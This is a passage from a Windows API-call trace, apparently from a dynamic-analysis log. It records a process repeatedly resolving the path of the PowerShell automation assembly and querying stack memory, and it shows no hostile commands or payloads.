lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.688] GetLastError () returned 0x0 [0062.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.689] GetLastError () returned 0x0 [0062.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.689] GetLastError () returned 0x0 [0062.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.689] GetLastError () returned 0x0 [0062.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.689] GetLastError () returned 0x0 [0062.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.689] GetLastError () returned 0x0 [0062.689] VirtualQuery (in: lpAddress=0x14d3e4, lpBuffer=0x14e3e4, dwLength=0x1c | out: lpBuffer=0x14e3e4*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.689] GetLastError () returned 0x0 [0062.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.689] GetLastError () returned 0x0 [0062.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.689] GetLastError () returned 0x0 [0062.689] VirtualQuery (in: lpAddress=0x14d3e4, lpBuffer=0x14e3e4, dwLength=0x1c | out: lpBuffer=0x14e3e4*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.690] GetLastError () returned 0x0 [0062.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.690] GetLastError () returned 0x0 [0062.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.690] GetLastError () returned 0x0 [0062.690] VirtualQuery (in: lpAddress=0x14d014, lpBuffer=0x14e014, dwLength=0x1c | out: lpBuffer=0x14e014*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.690] VirtualQuery (in: lpAddress=0x14d050, lpBuffer=0x14e050, dwLength=0x1c | out: lpBuffer=0x14e050*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.690] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.691] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.691] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.691] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.691] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.691] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.691] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.692] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.692] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.692] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.692] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.692] VirtualQuery (in: lpAddress=0x14d1bc, lpBuffer=0x14e1bc, dwLength=0x1c | out: lpBuffer=0x14e1bc*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.692] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.693] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.693] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.693] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.693] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x734fc456, Data2=0xc388, Data3=0x4867, Data4=([0]=0xb1, [1]=0x47, [2]=0x91, [3]=0x2a, [4]=0xf1, [5]=0xb2, [6]=0xd5, [7]=0x8d))) returned 0x0 [0062.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.693] GetLastError () returned 0x0 [0062.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.694] GetLastError () returned 0x0 [0062.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.695] GetLastError () returned 0x0 [0062.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.696] GetLastError () returned 0x0 [0062.696] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.696] GetLastError () returned 0x0 [0062.696] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.696] GetLastError () returned 0x0 [0062.696] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.696] GetLastError () returned 0x0 [0062.696] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.696] GetLastError () returned 0x0 [0062.696] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.696] GetLastError () returned 0x0 [0062.696] VirtualQuery (in: lpAddress=0x14d014, lpBuffer=0x14e014, dwLength=0x1c | out: lpBuffer=0x14e014*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.696] VirtualQuery (in: lpAddress=0x14d050, lpBuffer=0x14e050, dwLength=0x1c | out: lpBuffer=0x14e050*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.696] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de04, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.697] GetLastError () returned 0x0 [0062.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.697] GetLastError () returned 0x0 [0062.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.697] GetLastError () returned 0x0 [0062.697] VirtualQuery (in: lpAddress=0x14d11c, lpBuffer=0x14e11c, dwLength=0x1c | out: lpBuffer=0x14e11c*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de04, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.697] GetLastError () returned 0x0 [0062.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.697] GetLastError () returned 0x0 [0062.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.697] GetLastError () returned 0x0 [0062.697] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x1e3ac4ba, Data2=0x5c03, Data3=0x41cc, Data4=([0]=0x96, [1]=0x4f, [2]=0x5, [3]=0x70, [4]=0xeb, [5]=0x73, [6]=0xa0, [7]=0x7a))) returned 0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 0x0 [0062.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.698] GetLastError () returned 